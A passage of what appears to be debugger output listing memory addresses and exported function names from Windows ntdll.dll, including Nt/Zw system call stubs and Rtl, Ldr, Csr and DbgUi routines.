77f5c138  ntdll!NtSaveKeyEx 
77f5c138  ntdll!ZwSaveKeyEx 
77f5c148  ntdll!NtSaveMergedKeys 
77f5c148  ntdll!ZwSaveMergedKeys 
77f5c158  ntdll!NtSecureConnectPort 
77f5c158  ntdll!ZwSecureConnectPort 
77f5c168  ntdll!ZwSetBootEntryOrder 
77f5c168  ntdll!NtSetBootEntryOrder 
77f5c178  ntdll!ZwSetBootOptions 
77f5c178  ntdll!NtSetBootOptions 
77f5c188  ntdll!ZwSetContextThread 
77f5c188  ntdll!NtSetContextThread 
77f5c198  ntdll!ZwSetDebugFilterState 
77f5c198  ntdll!NtSetDebugFilterState 
77f5c1a8  ntdll!NtSetDefaultHardErrorPort 
77f5c1a8  ntdll!ZwSetDefaultHardErrorPort 
77f5c1b8  ntdll!NtSetDefaultLocale 
77f5c1b8  ntdll!ZwSetDefaultLocale 
77f5c1c8  ntdll!NtSetDefaultUILanguage 
77f5c1c8  ntdll!ZwSetDefaultUILanguage 
77f5c1d8  ntdll!ZwSetEaFile 
77f5c1d8  ntdll!NtSetEaFile 
77f5c1e8  ntdll!ZwSetEvent 
77f5c1e8  ntdll!NtSetEvent 
77f5c1f8  ntdll!ZwSetEventBoostPriority 
77f5c1f8  ntdll!NtSetEventBoostPriority 
77f5c208  ntdll!NtSetHighEventPair 
77f5c208  ntdll!ZwSetHighEventPair 
77f5c218  ntdll!NtSetHighWaitLowEventPair 
77f5c218  ntdll!ZwSetHighWaitLowEventPair 
77f5c228  ntdll!NtSetInformationDebugObject 
77f5c228  ntdll!ZwSetInformationDebugObject 
77f5c238  ntdll!NtSetInformationFile 
77f5c238  ntdll!ZwSetInformationFile 
77f5c248  ntdll!NtSetInformationJobObject 
77f5c248  ntdll!ZwSetInformationJobObject 
77f5c258  ntdll!NtSetInformationKey 
77f5c258  ntdll!ZwSetInformationKey 
77f5c268  ntdll!NtSetInformationObject 
77f5c268  ntdll!ZwSetInformationObject 
77f5c278  ntdll!ZwSetInformationProcess 
77f5c278  ntdll!NtSetInformationProcess 
77f5c288  ntdll!NtSetInformationThread 
77f5c288  ntdll!ZwSetInformationThread 
77f5c298  ntdll!ZwSetInformationToken 
77f5c298  ntdll!NtSetInformationToken 
77f5c2a8  ntdll!ZwSetIntervalProfile 
77f5c2a8  ntdll!NtSetIntervalProfile 
77f5c2b8  ntdll!ZwSetIoCompletion 
77f5c2b8  ntdll!NtSetIoCompletion 
77f5c2c8  ntdll!ZwSetLdtEntries 
77f5c2c8  ntdll!NtSetLdtEntries 
77f5c2d8  ntdll!NtSetLowEventPair 
77f5c2d8  ntdll!ZwSetLowEventPair 
77f5c2e8  ntdll!NtSetLowWaitHighEventPair 
77f5c2e8  ntdll!ZwSetLowWaitHighEventPair 
77f5c2f8  ntdll!ZwSetQuotaInformationFile 
77f5c2f8  ntdll!NtSetQuotaInformationFile 
77f5c308  ntdll!ZwSetSecurityObject 
77f5c308  ntdll!NtSetSecurityObject 
77f5c318  ntdll!ZwSetSystemEnvironmentValue 
77f5c318  ntdll!NtSetSystemEnvironmentValue 
77f5c328  ntdll!ZwSetSystemEnvironmentValueEx 
77f5c328  ntdll!NtSetSystemEnvironmentValueEx 
77f5c338  ntdll!ZwSetSystemInformation 
77f5c338  ntdll!NtSetSystemInformation 
77f5c348  ntdll!NtSetSystemPowerState 
77f5c348  ntdll!ZwSetSystemPowerState 
77f5c358  ntdll!NtSetSystemTime 
77f5c358  ntdll!ZwSetSystemTime 
77f5c368  ntdll!ZwSetThreadExecutionState 
77f5c368  ntdll!NtSetThreadExecutionState 
77f5c378  ntdll!ZwSetTimer 
77f5c378  ntdll!NtSetTimer 
77f5c388  ntdll!ZwSetTimerResolution 
77f5c388  ntdll!NtSetTimerResolution 
77f5c398  ntdll!NtSetUuidSeed 
77f5c398  ntdll!ZwSetUuidSeed 
77f5c3a8  ntdll!ZwSetValueKey 
77f5c3a8  ntdll!NtSetValueKey 
77f5c3b8  ntdll!ZwSetVolumeInformationFile 
77f5c3b8  ntdll!NtSetVolumeInformationFile 
77f5c3c8  ntdll!ZwShutdownSystem 
77f5c3c8  ntdll!NtShutdownSystem 
77f5c3d8  ntdll!ZwSignalAndWaitForSingleObject 
77f5c3d8  ntdll!NtSignalAndWaitForSingleObject 
77f5c3e8  ntdll!ZwStartProfile 
77f5c3e8  ntdll!NtStartProfile 
77f5c3f8  ntdll!NtStopProfile 
77f5c3f8  ntdll!ZwStopProfile 
77f5c408  ntdll!NtSuspendProcess 
77f5c408  ntdll!ZwSuspendProcess 
77f5c418  ntdll!NtSuspendThread 
77f5c418  ntdll!ZwSuspendThread 
77f5c428  ntdll!ZwSystemDebugControl 
77f5c428  ntdll!NtSystemDebugControl 
77f5c438  ntdll!ZwTerminateJobObject 
77f5c438  ntdll!NtTerminateJobObject 
77f5c448  ntdll!NtTerminateProcess 
77f5c448  ntdll!ZwTerminateProcess 
77f5c458  ntdll!ZwTerminateThread 
77f5c458  ntdll!NtTerminateThread 
77f5c468  ntdll!NtTestAlert 
77f5c468  ntdll!ZwTestAlert 
77f5c478  ntdll!NtTraceEvent 
77f5c478  ntdll!ZwTraceEvent 
77f5c488  ntdll!NtTranslateFilePath 
77f5c488  ntdll!ZwTranslateFilePath 
77f5c498  ntdll!NtUnloadDriver 
77f5c498  ntdll!ZwUnloadDriver 
77f5c4a8  ntdll!NtUnloadKey 
77f5c4a8  ntdll!ZwUnloadKey 
77f5c4b8  ntdll!ZwUnloadKeyEx 
77f5c4b8  ntdll!NtUnloadKeyEx 
77f5c4c8  ntdll!ZwUnlockFile 
77f5c4c8  ntdll!NtUnlockFile 
77f5c4d8  ntdll!NtUnlockVirtualMemory 
77f5c4d8  ntdll!ZwUnlockVirtualMemory 
77f5c4e8  ntdll!NtUnmapViewOfSection 
77f5c4e8  ntdll!ZwUnmapViewOfSection 
77f5c4f8  ntdll!NtVdmControl 
77f5c4f8  ntdll!ZwVdmControl 
77f5c508  ntdll!NtWaitForDebugEvent 
77f5c508  ntdll!ZwWaitForDebugEvent 
77f5c518  ntdll!ZwWaitForMultipleObjects 
77f5c518  ntdll!NtWaitForMultipleObjects 
77f5c528  ntdll!ZwWaitForSingleObject 
77f5c528  ntdll!NtWaitForSingleObject 
77f5c538  ntdll!ZwWaitHighEventPair 
77f5c538  ntdll!NtWaitHighEventPair 
77f5c548  ntdll!NtWaitLowEventPair 
77f5c548  ntdll!ZwWaitLowEventPair 
77f5c558  ntdll!ZwWriteFile 
77f5c558  ntdll!NtWriteFile 
77f5c568  ntdll!NtWriteFileGather 
77f5c568  ntdll!ZwWriteFileGather 
77f5c578  ntdll!NtWriteRequestData 
77f5c578  ntdll!ZwWriteRequestData 
77f5c588  ntdll!NtWriteVirtualMemory 
77f5c588  ntdll!ZwWriteVirtualMemory 
77f5c598  ntdll!NtYieldExecution 
77f5c598  ntdll!ZwYieldExecution 
77f5c5a8  ntdll!NtCreateKeyedEvent 
77f5c5a8  ntdll!ZwCreateKeyedEvent 
77f5c5b8  ntdll!ZwOpenKeyedEvent 
77f5c5b8  ntdll!NtOpenKeyedEvent 
77f5c5c8  ntdll!ZwReleaseKeyedEvent 
77f5c5c8  ntdll!NtReleaseKeyedEvent 
77f5c5d8  ntdll!ZwWaitForKeyedEvent 
77f5c5d8  ntdll!NtWaitForKeyedEvent 
77f5c5e8  ntdll!NtQueryPortInformationProcess 
77f5c5e8  ntdll!ZwQueryPortInformationProcess 
77f5c734  ntdll!RtlpEnsureBufferSize 
77f5c7c2  ntdll!RtlMultiAppendUnicodeStringBuffer 
77f5c878  ntdll!RtlGetLongestNtPathLength 
77f5c8e2  ntdll!RtlGetCurrentDirectory_U 
77f5cba2  ntdll!RtlIsDosDeviceName_U 
77f5ccb2  ntdll!RtlDoesFileExists_U 
77f5cdd6  ntdll!RtlGetLengthWithoutLastFullDosOrNtPathElement 
77f5cdec  ntdll!RtlAppendPathElement 
77f5cf92  ntdll!RtlGetLengthWithoutTrailingPathSeperators 
77f5cfe4  ntdll!RtlpApplyLengthFunction 
77f5d04c  ntdll!RtlNtPathNameToDosPathName 
77f5d572  ntdll!RtlGetFullPathName_U 
77f5d9b8  ntdll!RtlDosSearchPath_U 
77f5db54  ntdll!RtlDosApplyFileIsolationRedirection_Ustr 
77f5e3c8  ntdll!RtlDosSearchPath_Ustr 
77f5ec1e  ntdll!CsrClientConnectToServer 
77f5ee10  ntdll!CsrNewThread 
77f5ee1c  ntdll!CsrIdentifyAlertableThread 
77f5ee4e  ntdll!CsrSetPriorityClass 
77f5ee8a  ntdll!CsrClientCallServer 
77f5ef76  ntdll!CsrGetProcessId 
77f5ef7c  ntdll!CsrAllocateCaptureBuffer 
77f5efd4  ntdll!CsrFreeCaptureBuffer 
77f5efe8  ntdll!CsrAllocateMessagePointer 
77f5f02a  ntdll!CsrCaptureMessageBuffer 
77f5f05e  ntdll!CsrCaptureMessageString 
77f5f11c  ntdll!CsrCaptureMessageMultiUnicodeStringsInPlace 
77f5f192  ntdll!CsrCaptureTimeout 
77f5f1bc  ntdll!CsrProbeForWrite 
77f5f202  ntdll!CsrProbeForRead 
77f5f230  ntdll!DbgUiConnectToDbg 
77f5f27e  ntdll!DbgUiGetThreadDebugObject 
77f5f28c  ntdll!DbgUiSetThreadDebugObject 
77f5f2a0  ntdll!DbgUiWaitStateChange 
77f5f2be  ntdll!DbgUiContinue 
77f5f2da  ntdll!DbgUiStopDebugging 
77f5f2f2  ntdll!DbgUiRemoteBreakin 
77f5f334  ntdll!DbgUiIssueRemoteBreakin 
77f5f36e  ntdll!DbgUiDebugActiveProcess 
77f5f3a6  ntdll!DbgUiConvertStateChangeStructure 
77f5f5a4  ntdll!RtlPushFrame 
77f5f5be  ntdll!RtlPopFrame 
77f5f5d4  ntdll!RtlGetFrame 
77f5f96d  ntdll!LdrVerifyImageMatchesChecksum 
77f5ffc4  ntdll!LdrQueryProcessModuleInformation 
77f6010e  ntdll!RtlDllShutdownInProgress 
77f60164  ntdll!LdrLockLoaderLock 
77f6034e  ntdll!LdrUnlockLoaderLock 
77f60420  ntdll!LdrEnumerateLoadedModules 
77f604e2  ntdll!LdrAddRefDll 
77f605a6  ntdll!LdrSetDllManifestProber 
77f605b2  ntdll!LdrSetAppCompatDllRedirectionCallback 
77f6060c  ntdll!RtlIsThreadWithinLoaderCallout 
77f60656  ntdll!LdrGetDllHandleEx 
77f60a4a  ntdll!LdrUnloadDll 
77f60f68  ntdll!LdrGetProcedureAddress 
77f619aa  ntdll!LdrInitShimEngineDynamic 
77f61d9a  ntdll!LdrQueryImageFileExecutionOptions 
77f626c6  ntdll!RtlGetNtVersionNumbers 
77f6271b  ntdll!LdrShutdownProcess 
77f62904  ntdll!LdrShutdownThread 
77f689d2  ntdll!RtlComputePrivatizedDllName_U 
77f69052  ntdll!RtlFinalReleaseOutOfProcessMemoryStream 
77f6906c  ntdll!RtlInitMemoryStream 
77f69086  ntdll!RtlAddRefMemoryStream 
77f6909a  ntdll!RtlReleaseMemoryStream 
77f690bc  ntdll!RtlQueryInterfaceMemoryStream 
77f69116  ntdll!RtlReadOutOfProcessMemoryStream 
77f69194  ntdll!RtlReadMemoryStream 
77f691d2  ntdll!RtlWriteMemoryStream 
77f691da  ntdll!RtlSeekMemoryStream 
77f69236  ntdll!RtlSetMemoryStreamSize 
77f6923e  ntdll!RtlCopyMemoryStreamTo 
77f692ac  ntdll!RtlRevertMemoryStream 
77f692b4  ntdll!RtlLockMemoryStreamRegion 
77f692b4  ntdll!RtlUnlockMemoryStreamRegion 
77f692b4  ntdll!RtlCopyOutOfProcessMemoryStreamTo 
77f692bc  ntdll!RtlStatMemoryStream 
77f69328  ntdll!RtlCloneMemoryStream 
77f69328  ntdll!RtlCommitMemoryStream 
77f69330  ntdll!RtlInitOutOfProcessMemoryStream 
77f694d1  ntdll!RtlAcquireResourceShared 
77f69655  ntdll!RtlAcquireResourceExclusive 
77f697a4  ntdll!RtlReleaseResource 
77f69887  ntdll!RtlConvertSharedToExclusive 
77f69a04  ntdll!RtlConvertExclusiveToShared 
77f69ac5  ntdll!RtlDumpResource 
77f69b04  ntdll!RtlEnableEarlyCriticalSectionEventCreation 
77f69b60  ntdll!RtlInitializeCriticalSectionAndSpinCount 
77f69c86  ntdll!RtlSetCriticalSectionSpinCount 
77f69d12  ntdll!RtlDeleteCriticalSection 
77f69e43  ntdll!RtlpWaitForCriticalSection 
77f6a06e  ntdll!RtlpUnWaitCriticalSection 
77f6a0f2  ntdll!RtlpNotOwnerCriticalSection 
77f6a4b5  ntdll!RtlCheckForOrphanedCriticalSections 
77f6a928  ntdll!RtlInitializeResource 
77f6aa04  ntdll!RtlDeleteResource 
77f6aa32  ntdll!RtlNewSecurityObjectWithMultipleInheritance 
77f6aa3c  ntdll!RtlNewSecurityObjectEx 
77f6aa72  ntdll!RtlNewSecurityObject 
77f6aa96  ntdll!RtlSetSecurityObject 
77f6aab8  ntdll!RtlSetSecurityObjectEx 
77f6aada  ntdll!RtlQuerySecurityObject 
77f6acd6  ntdll!RtlDeleteSecurityObject 
77f6acf4  ntdll!RtlNewInstanceSecurityObject 
77f6ad64  ntdll!RtlNewSecurityGrantedAccess 
77f6ae7a  ntdll!RtlCopySecurityDescriptor 
77f6afac  ntdll!RtlCreateAndSetSD 
77f6b234  ntdll!RtlCreateUserSecurityObject 
77f6b2a6  ntdll!RtlConvertToAutoInheritSecurityObject 
77f6b2b0  ntdll!RtlDefaultNpAcl 
77f6b620  ntdll!RtlConvertUiListToApiList 
77f6bb06  ntdll!RtlCreateQueryDebugBuffer 
77f6bbe8  ntdll!RtlDestroyQueryDebugBuffer 
77f6bcbc  ntdll!RtlQueryProcessBackTraceInformation 
77f6be88  ntdll!RtlQueryProcessHeapInformation 
77f6c340  ntdll!RtlQueryProcessLockInformation 
77f6c470  ntdll!RtlQueryProcessDebugInformation 
77f6cd42  ntdll!RtlAddVectoredExceptionHandler 
77f6cdb4  ntdll!RtlRemoveVectoredExceptionHandler 
77f6da9a  ntdll!RtlApplicationVerifierStop 
77f6efd0  ntdll!RtlQueueApcWow64Thread 
77f6f3ea  ntdll!RtlCreateActivationContext 
77f6f53e  ntdll!RtlAddRefActivationContext 
77f6f560  ntdll!RtlReleaseActivationContext 
77f6f5cc  ntdll!RtlZombifyActivationContext 
77f6f792  ntdll!RtlActivateActivationContextEx 
77f6f99c  ntdll!RtlDeactivateActivationContext 
77f6fb30  ntdll!RtlActivateActivationContextUnsafeFast 
77f6fbf2  ntdll!RtlDeactivateActivationContextUnsafeFast 
77f6fcba  ntdll!RtlGetActiveActivationContext 
77f6fcf2  ntdll!RtlFreeThreadActivationContextStack 
77f6fd34  ntdll!RtlIsActivationContextActive 
77f6fd5a  ntdll!RtlActivateActivationContext 
77f70db0  ntdll!RtlFindActivationContextSectionString 
77f70f94  ntdll!RtlFindActivationContextSectionGuid 
77f729d3  ntdll!RtlQueryInformationActivationContext 
77f72d12  ntdll!RtlQueryInformationActiveActivationContext 
77f75678  ntdll!RtlComputeImportTableHash 
77f75906  ntdll!RtlConvertVariantToProperty 
77f75984  ntdll!RtlConvertPropertyToVariant 
77f759f9  ntdll!PropertyLengthAsVariant 
77f75a52  ntdll!RtlSetUnicodeCallouts 
77f75a58  ntdll!DbgBreakPoint 
77f75a5c  ntdll!DbgUserBreakPoint 
77f75a68  ntdll!vDbgPrintExWithPrefix 
77f75c1a  ntdll!DbgPrintReturnControlC 
77f75cde  ntdll!DbgPrompt 
77f75d1e  ntdll!DbgQueryDebugFilterState 
77f75d24  ntdll!DbgSetDebugFilterState 
77f75d2b  ntdll!DbgPrint 
77f75d45  ntdll!DbgPrintEx 
77f75d63  ntdll!vDbgPrintEx 
77f75d80  ntdll!KiUserApcDispatcher 
77f75d90  ntdll!KiUserCallbackDispatcher 
77f75dac  ntdll!KiUserExceptionDispatcher 
77f75df8  ntdll!KiRaiseUserExceptionDispatcher 
77f75ffe  ntdll!LdrFindEntryForAddress 
77f766e6  ntdll!LdrDestroyOutOfProcessImage 
77f76726  ntdll!LdrCreateOutOfProcessImage 
77f7691c  ntdll!LdrFindCreateProcessManifest 
77f76efa  ntdll!LdrAccessOutOfProcessResource 
77f76f5e  ntdll!LdrEnumResources 
77f771a2  ntdll!LdrAlternateResourcesEnabled 
77f77a54  ntdll!LdrUnloadAlternateResourceModule 
77f77baa  ntdll!LdrFlushAlternateResourceModules 
77f77c5e  ntdll!LdrAccessResource 
77f77c76  ntdll!LdrFindResource_U 
77f77c90  ntdll!LdrFindResourceEx_U 
77f77cac  ntdll!LdrFindResourceDirectory_U 
77f7821a  ntdll!LdrLoadAlternateResourceModule 
77f78cd2  ntdll!LdrProcessRelocationBlock 
77f78d0e  ntdll!RtlMultiByteToUnicodeSize 
77f78d5c  ntdll!RtlUnicodeToMultiByteSize 
77f78da4  ntdll!RtlUpcaseUnicodeToMultiByteN 
77f795e8  ntdll!RtlUpcaseUnicodeToOemN 
77f79f06  ntdll!RtlCustomCPToUnicodeN 
77f7a0e4  ntdll!RtlUnicodeToCustomCPN 
77f7a28c  ntdll!RtlUpcaseUnicodeToCustomCPN 
77f7aaf4  ntdll!RtlResetRtlTranslations 
77f7abf2  ntdll!RtlConsoleMultiByteToUnicodeN 
77f7b044  ntdll!NtCurrentTeb 
77f7b04c  ntdll!PfxInitialize 
77f7b060  ntdll!PfxRemovePrefix 
77f7b286  ntdll!PfxInsertPrefix 
77f7b362  ntdll!PfxFindPrefix 
77f7b416  ntdll!RtlStartRXact 
77f7b466  ntdll!RtlAbortRXact 
77f7b4a0  ntdll!RtlAddAttributeActionToRXact 
77f7b63c  ntdll!RtlAddActionToRXact 
77f7b812  ntdll!RtlInitializeRXact 
77f7bac6  ntdll!RtlApplyRXact 
77f7bb3a  ntdll!RtlApplyRXactNoFlush 
77f7bc4c  ntdll!RtlSelfRelativeToAbsoluteSD2 
77f7bcc4  ntdll!RtlSelfRelativeToAbsoluteSD 
77f7be18  ntdll!RtlMakeSelfRelativeSD 
77f7bf2e  ntdll!RtlAbsoluteToSelfRelativeSD 
77f7bf50  ntdll!RtlCreateAcl 
77f7bf9e  ntdll!RtlValidAcl 
77f7c1aa  ntdll!RtlSetInformationAcl 
77f7c1f0  ntdll!RtlGetAce 
77f7c256  ntdll!RtlFirstFreeAce 
77f7c324  ntdll!RtlQueryInformationAcl 
77f7c3aa  ntdll!RtlAddAce 
77f7c486  ntdll!RtlDeleteAce 
77f7c4e6  ntdll!RtlAddCompoundAce 
77f7c80a  ntdll!RtlAddAccessAllowedAce 
77f7c826  ntdll!RtlAddAccessAllowedAceEx 
77f7c844  ntdll!RtlAddAccessDeniedAce 
77f7c860  ntdll!RtlAddAccessDeniedAceEx 
77f7c87e  ntdll!RtlAddAuditAccessAce 
77f7c8ae  ntdll!RtlAddAuditAccessAceEx 
77f7c8e0  ntdll!RtlAddAccessAllowedObjectAce 
77f7c926  ntdll!RtlAddAccessDeniedObjectAce 
77f7c96e  ntdll!RtlAddAuditAccessObjectAce 
77f7cb24  ntdll!RtlInitializeAtomPackage 
77f7cb32  ntdll!RtlCreateAtomTable 
77f7cbc4  ntdll!RtlDestroyAtomTable 
77f7cc7a  ntdll!RtlEmptyAtomTable 
77f7ce9a  ntdll!RtlAddAtomToAtomTable 
77f7d02e  ntdll!RtlLookupAtomInAtomTable 
77f7d110  ntdll!RtlDeleteAtomFromAtomTable 
77f7d1ea  ntdll!RtlPinAtomInAtomTable 
77f7d28a  ntdll!RtlQueryAtomInAtomTable 
77f7d422  ntdll!RtlInitializeRangeList 
77f7d61e  ntdll!RtlFreeRangeList 
77f7d65a  ntdll!RtlGetFirstRange 
77f7d704  ntdll!RtlGetNextRange 
77f7d858  ntdll!RtlCopyRangeList 
77f7d99c  ntdll!RtlFindRange 
77f7dd0a  ntdll!RtlIsRangeAvailable 
77f7df2c  ntdll!RtlMergeRangeLists 
77f7e006  ntdll!RtlAddRange 
77f7e08a  ntdll!RtlDeleteRange 
77f7e1c2  ntdll!RtlDeleteOwnersRanges 
77f7e26c  ntdll!RtlInvertRangeList 
77f7e35c  ntdll!RtlImageNtHeader 
77f7e362  ntdll!RtlAddressInSectionTable 
77f7e424  ntdll!RtlImageDirectoryEntryToData 
77f7e47e  ntdll!RtlImageRvaToSection 
77f7e4ba  ntdll!RtlImageRvaToVa 
77f7e50c  ntdll!RtlRunEncodeUnicodeString 
77f7e580  ntdll!RtlRunDecodeUnicodeString 
77f7e5b8  ntdll!RtlEraseUnicodeString 
77f7e5ea  ntdll!RtlAdjustPrivilege 
77f7e68a  ntdll!RtlValidSid 
77f7e6dc  ntdll!RtlEqualPrefixSid 
77f7e754  ntdll!RtlLengthRequiredSid 
77f7e762  ntdll!RtlAllocateAndInitializeSid 
77f7e822  ntdll!RtlInitializeSid 
77f7e850  ntdll!RtlFreeSid 
77f7e874  ntdll!RtlIdentifierAuthoritySid 
77f7e87e  ntdll!RtlSubAuthoritySid 
77f7e88e  ntdll!RtlSubAuthorityCountSid 
77f7e896  ntdll!RtlLengthSid 
77f7e8a8  ntdll!RtlCopySid 
77f7e8d8  ntdll!RtlCopySidAndAttributesArray 
77f7e9b2  ntdll!RtlConvertSidToUnicodeString 
77f7eb4a  ntdll!RtlEqualLuid 
77f7eb6a  ntdll!RtlCopyLuid 
77f7eb80  ntdll!RtlCopyLuidAndAttributesArray 
77f7eba8  ntdll!RtlCreateSecurityDescriptor 
77f7ebce  ntdll!RtlValidSecurityDescriptor 
77f7ecac  ntdll!RtlLengthSecurityDescriptor 
77f7ed58  ntdll!RtlGetControlSecurityDescriptor 
77f7ed82  ntdll!RtlSetControlSecurityDescriptor 
77f7edba  ntdll!RtlSetDaclSecurityDescriptor 
77f7ee1a  ntdll!RtlGetDaclSecurityDescriptor 
77f7ee76  ntdll!RtlSetSaclSecurityDescriptor 
77f7eed6  ntdll!RtlGetSaclSecurityDescriptor 
77f7ef32  ntdll!RtlSetOwnerSecurityDescriptor 
77f7ef7e  ntdll!RtlGetOwnerSecurityDescriptor 
77f7efbc  ntdll!RtlSetGroupSecurityDescriptor 
77f7f008  ntdll!RtlGetGroupSecurityDescriptor 
77f7f042  ntdll!RtlAreAllAccessesGranted 
77f7f056  ntdll!RtlAreAnyAccessesGranted 
77f7f064  ntdll!RtlMapGenericMask 
77f7f0b4  ntdll!RtlImpersonateSelf 
77f7f698  ntdll!RtlValidRelativeSecurityDescriptor 
77f7f7d2  ntdll!RtlGetSecurityDescriptorRMControl 
77f7f826  ntdll!RtlSetSecurityDescriptorRMControl 
77f7f848  ntdll!RtlMapSecurityErrorToNtStatus 
77f7f92a  ntdll!RtlEqualSid 
77f7f95c  ntdll!RtlSetAttributesSecurityDescriptor 
77f8282e  ntdll!RtlInitializeHandleTable 
77f8284e  ntdll!RtlDestroyHandleTable 
77f8287c  ntdll!RtlAllocateHandle 
77f829a0  ntdll!RtlFreeHandle 
77f829d0  ntdll!RtlIsValidHandle 
77f829fc  ntdll!RtlIsValidIndexHandle 
77f82a26  ntdll!RtlZeroHeap 
77f8314b  ntdll!RtlDestroyHeap 
77f83316  ntdll!RtlSizeHeap 
77f8552c  ntdll!RtlAnsiCharToUnicodeChar 
77f85574  ntdll!RtlUpcaseUnicodeString 
77f8563e  ntdll!RtlDowncaseUnicodeString 
77f85708  ntdll!RtlUpcaseUnicodeChar 
77f85754  ntdll!RtlDowncaseUnicodeChar 
77f857a0  ntdll!RtlxUnicodeStringToOemSize 
77f857a0  ntdll!RtlUnicodeStringToAnsiSize 
77f857a0  ntdll!RtlUnicodeStringToOemSize 
77f857a0  ntdll!RtlxUnicodeStringToAnsiSize 
77f857be  ntdll!RtlAnsiStringToUnicodeSize 
77f857be  ntdll!RtlxOemStringToUnicodeSize 
77f857be  ntdll!RtlxAnsiStringToUnicodeSize 
77f857be  ntdll!RtlOemStringToUnicodeSize 
77f857de  ntdll!RtlCompareUnicodeString 
77f85924  ntdll!RtlEqualUnicodeString 
77f85a34  ntdll!RtlPrefixUnicodeString 
77f85b48  ntdll!RtlCopyUnicodeString 
77f85ba6  ntdll!RtlAppendUnicodeToString 
77f85c18  ntdll!RtlAppendUnicodeStringToString 
77f85c7e  ntdll!RtlCreateUnicodeString 
77f85cca  ntdll!RtlIsTextUnicode 
77f86062  ntdll!RtlHashUnicodeString 
77f86126  ntdll!RtlValidateUnicodeString 
77f86184  ntdll!RtlDuplicateUnicodeString 
77f86282  ntdll!RtlFindCharInUnicodeString 
77f8655e  ntdll!RtlUpcaseUnicodeStringToAnsiString 
77f86606  ntdll!RtlUpcaseUnicodeStringToOemString 
77f866c8  ntdll!RtlUnicodeStringToCountedOemString 
77f86796  ntdll!RtlUpcaseUnicodeStringToCountedOemString 
77f86864  ntdll!RtlEqualDomainName 
77f868ba  ntdll!RtlEqualComputerName 
77f868c0  ntdll!RtlDnsHostNameToComputerName 
77f8695c  ntdll!RtlInitUnicodeStringEx 
77f869a6  ntdll!RtlCopyString 
77f869e8  ntdll!RtlUpperChar 
77f86afe  ntdll!RtlCompareString 
77f86b8a  ntdll!RtlEqualString 
77f86bfe  ntdll!RtlPrefixString 
77f86c84  ntdll!RtlCreateUnicodeStringFromAsciiz 
77f86cac  ntdll!RtlUpperString 
77f86cec  ntdll!RtlAppendAsciizToString 
77f86d40  ntdll!RtlAppendStringToString 
77f86d8c  ntdll!RtlInitializeBitMap 
77f86da0  ntdll!RtlClearAllBits 
77f86dc8  ntdll!RtlSetAllBits 
77f86de6  ntdll!RtlFindClearBits 
77f87046  ntdll!RtlFindSetBits 
77f872f0  ntdll!RtlClearBits 
77f8736e  ntdll!RtlSetBits 
77f873ea  ntdll!RtlFindClearRuns 
77f8762a  ntdll!RtlFindLongestRunClear 
77f8765a  ntdll!RtlNumberOfClearBits 
77f876a0  ntdll!RtlNumberOfSetBits 
77f876ee  ntdll!RtlAreBitsClear 
77f8776a  ntdll!RtlAreBitsSet 
77f877f0  ntdll!RtlFindNextForwardRunClear 
77f878d8  ntdll!RtlFindLastBackwardRunClear 
77f879a2  ntdll!RtlFindMostSignificantBit 
77f87a44  ntdll!RtlFindLeastSignificantBit 
77f87ae4  ntdll!RtlFindClearBitsAndSet 
77f87b10  ntdll!RtlFindSetBitsAndClear 
77f87c17  ntdll!RtlAssert2 
77f87d06  ntdll!RtlAssert 
77f87fba  ntdll!RtlDebugPrintTimes 
77f88588  ntdll!RtlCreateTimerQueue 
77f887ba  ntdll!RtlDeleteTimerQueueEx 
77f88896  ntdll!RtlDeleteTimerQueue 
77f8894a  ntdll!RtlCreateTimer 
77f88be4  ntdll!RtlUpdateTimer 
77f88cb0  ntdll!RtlDeleteTimer 
77f88e3e  ntdll!RtlSetTimer 
77f88e48  ntdll!RtlCancelTimer 
77f88f14  ntdll!RtlWalkFrameChain 
77f89058  ntdll!RtlCaptureStackContext 
77f89152  ntdll!RtlCaptureStackBackTrace 
77f891f0  ntdll!RtlGetCallersAddress 
77f89234  ntdll!RtlIntegerToChar 
77f8932c  ntdll!RtlCharToInteger 
77f8944e  ntdll!RtlUnicodeStringToInteger 
77f896d8  ntdll!RtlIntegerToUnicodeString 
77f89724  ntdll!RtlLargeIntegerToChar 
77f89a4c  ntdll!RtlInt64ToUnicodeString 
77f89aa6  ntdll!RtlGetCurrentPeb 
77f89ab0  ntdll!RtlSetProcessIsCritical 
77f89b0c  ntdll!RtlSetThreadIsCritical 
77f89b68  ntdll!RtlCheckProcessParameters 
77f89cd0  ntdll!RtlExpandEnvironmentStrings_U 
77f89e14  ntdll!RtlGetNtGlobalFlags 
77f89e42  ntdll!RtlFormatCurrentUserKeyPath 
77f89f3a  ntdll!RtlOpenCurrentUser 
77f8a636  ntdll!RtlQueryRegistryValues 
77f8aa0c  ntdll!RtlWriteRegistryValue 
77f8aa62  ntdll!RtlCheckRegistryKey 
77f8aa88  ntdll!RtlCreateRegistryKey 
77f8aab4  ntdll!RtlDeleteRegistryValue 
77f8ab3e  ntdll!RtlQueryTimeZoneInformation 
77f8ac60  ntdll!RtlSetTimeZoneInformation 
77f8adcb  ntdll!RtlProtectHeap 
77f8aea8  ntdll!RtlGetUserInfoHeap 
77f8afe2  ntdll!RtlSetUserValueHeap 
77f8b0b2  ntdll!RtlSetUserFlagsHeap 
77f8b1d8  ntdll!RtlQueryTagHeap 
77f8b318  ntdll!RtlExtendHeap 
77f8b4ee  ntdll!RtlGetProcessHeaps 
77f8b586  ntdll!RtlEnumProcessHeaps 
77f8bed8  ntdll!RtlSetHeapInformation 
77f8bf0e  ntdll!RtlQueryHeapInformation 
77f8bf6a  ntdll!RtlCreateTagHeap 
77f8c166  ntdll!RtlCompactHeap 
77f8c286  ntdll!RtlValidateHeap 
77f8c44c  ntdll!RtlValidateProcessHeaps 
77f8c4f8  ntdll!RtlUsageHeap 
77f8ca42  ntdll!RtlWalkHeap 
77f8d648  ntdll!RtlReAllocateHeap 
77f8e3c6  ntdll!RtlGetCompressionWorkSpaceSize 
77f8e40c  ntdll!RtlCompressBuffer 
77f8e462  ntdll!RtlDecompressBuffer 
77f8e4aa  ntdll!RtlDecompressFragment 
77f8e5c6  ntdll!RtlComputeCrc32 
77f8e630  ntdll!RtlLockBootStatusData 
77f8e6d2  ntdll!RtlUnlockBootStatusData 
77f8e712  ntdll!RtlGetSetBootStatusData 
77f8e838  ntdll!RtlCreateBootStatusDataFile 
77f8e954  ntdll!RtlCreateEnvironment 
77f8ea66  ntdll!RtlDestroyEnvironment 
77f8ea8e  ntdll!RtlSetCurrentEnvironment 
77f8eb36  ntdll!RtlQueryEnvironmentVariable_U 
77f8ee5e  ntdll!RtlSetEnvironmentVariable 
77f8f422  ntdll!RtlDestroyProcessParameters 
77f8f442  ntdll!RtlDeNormalizeProcessParams 
